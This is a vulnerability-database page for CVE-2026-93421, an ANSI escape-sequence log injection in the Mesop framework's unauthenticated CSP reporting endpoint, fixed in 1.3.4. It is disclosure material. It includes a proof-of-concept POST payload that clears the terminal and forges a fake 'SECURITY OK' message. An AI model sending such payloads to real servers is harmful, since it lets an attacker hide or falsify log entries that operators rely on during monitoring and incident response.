Vulnerability-Lookup

CVE-2026-93421 (GCVE-0-2026-93421)

Vulnerability from cvelistv5 – Published: 2026-09-23 18:59 – Updated: 2026-09-23 19:41

Title

Mesop: Unauthenticated ANSI Escape Sequence Injection in CSP Reporting Endpoint

Summary

Mesop is a Python-based UI framework that allows users to build web applications. Prior to 1.3.4, the unauthenticated /__csp__ endpoint passes attacker-controlled document-uri, blocked-uri, and violated-directive values to the csp_report handler in mesop/server/static_file_serving.py, which prints them to standard output without neutralizing terminal control sequences. When an operator views the resulting logs in an ANSI-capable terminal, injected ANSI or VT100 sequences can clear or reposition the display, hide text, or present forged messages, reducing the integrity of monitoring and incident-response output. This issue is fixed in version 1.3.4.

Severity

5.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-23 19:25 UTC

CWE

CWE-117 - Improper Output Neutralization for Logs
CWE-150 - Improper Neutralization of Escape, Meta, or Control Sequences

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/mesop-dev/mesop/security/advis…	x_refsource_CONFIRM
https://github.com/mesop-dev/mesop/pull/1397	x_refsource_MISC
https://github.com/mesop-dev/mesop/commit/f38c42a…	x_refsource_MISC
https://github.com/mesop-dev/mesop/releases/tag/v1.3.4	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
mesop-dev	mesop	Affected: < 1.3.4	guessed

Show details on NVD website

JSON

To clipboard

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}

FKIE_CVE-2026-93421

Vulnerability from fkie_nvd - Published: 2026-09-23 19:19 - Updated: 2026-09-23 20:17

Severity

5.3 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/mesop-dev/mesop/commit/f38c42a1d3eba246941ef8d7f645072d53c58785
	security-advisories@github.com	https://github.com/mesop-dev/mesop/pull/1397
	security-advisories@github.com	https://github.com/mesop-dev/mesop/releases/tag/v1.3.4
	security-advisories@github.com	https://github.com/mesop-dev/mesop/security/advisories/GHSA-g7f6-rxc4-qhph

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
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      "affectedData": [
        {
          "product": "mesop",
          "vendor": "mesop-dev",
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    }
  ],
  "id": "CVE-2026-93421",
  "lastModified": "2026-09-23T20:17:22.503",
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      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-G7F6-RXC4-QHPH

Vulnerability from github – Published: 2026-09-23 19:01 – Updated: 2026-09-23 19:01

Summary

Mesop: Unauthenticated ANSI Escape Sequence Injection in CSP Reporting Endpoint

Details

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

Inject forged log messages that appear to originate from the application.
Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Severity

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mesop"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-93421"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-117",
      "CWE-150"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-23T19:01:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `/__csp__` endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using `print()` without escaping control characters.\n\nA remote attacker can include ANSI/VT100 escape sequences in fields such as `blocked-uri` or `document-uri`. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.\n\n### Details\n\nThe CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:\n\nmesop/server/static_file_serving.py\n```python\n@app.route(prefix_base_url(\"/__csp__\"), methods=[\"POST\"])\ndef csp_report():\n    report = request.get_json(force=True)\n\n    document_uri = report[\"csp-report\"][\"document-uri\"]\n    blocked_uri = report[\"csp-report\"][\"blocked-uri\"]\n    violated_directive = report[\"csp-report\"][\"violated-directive\"]\n\n    print(f\"... Blocked URL: {blocked_uri} ...\")\n```\n\nSince these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.\n\n### PoC\n\nSend the following request:\n\n```http\nPOST /__csp__\nContent-Type: application/json\n\n{\n  \"csp-report\": {\n    \"document-uri\": \"https://victim.example\",\n    \"blocked-uri\": \"\\u001b[2J\\u001b[H\\u001b[32m*** SECURITY OK - No CSP violations found ***\\u001b[0m\\n\\u001b[8mhttps://evil.example\",\n    \"violated-directive\": \"script-src-elem\"\n  }\n}\n```\n\nThe request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.\n\nWhen the captured output is rendered in a VT100-compatible terminal (verified using `pyte`), the original CSP warning is visually replaced with attacker-controlled content.\n\n**Expected output**\n\n```text\n    Content Security Policy Error\n\nDirective: script-src-elem\nBlocked URL: ...\nApp path: /app\n```\n\n**Rendered output**\n\n```text\n*** SECURITY OK - No CSP violations found ***\nhttps://evil.example\nApp path: /app\n```\n\n### Impact\n\nAn unauthenticated remote attacker can submit a crafted request to the /__csp__ endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:\n\n1. Inject forged log messages that appear to originate from the application.\n2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.\n3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.\n4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake \"SECURITY OK\" notifications).\n5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.",
  "id": "GHSA-g7f6-rxc4-qhph",
  "modified": "2026-09-23T19:01:05Z",
  "published": "2026-09-23T19:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/security/advisories/GHSA-g7f6-rxc4-qhph"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/pull/1397"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/commit/f38c42a1d3eba246941ef8d7f645072d53c58785"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mesop-dev/mesop"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/releases/tag/v1.3.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Mesop: Unauthenticated ANSI Escape Sequence Injection in CSP Reporting Endpoint"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Confirmed: The vulnerability has been validated from an analyst's perspective.
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Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

CVE-2026-93421 (GCVE-0-2026-93421)

FKIE_CVE-2026-93421

GHSA-G7F6-RXC4-QHPH

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Details

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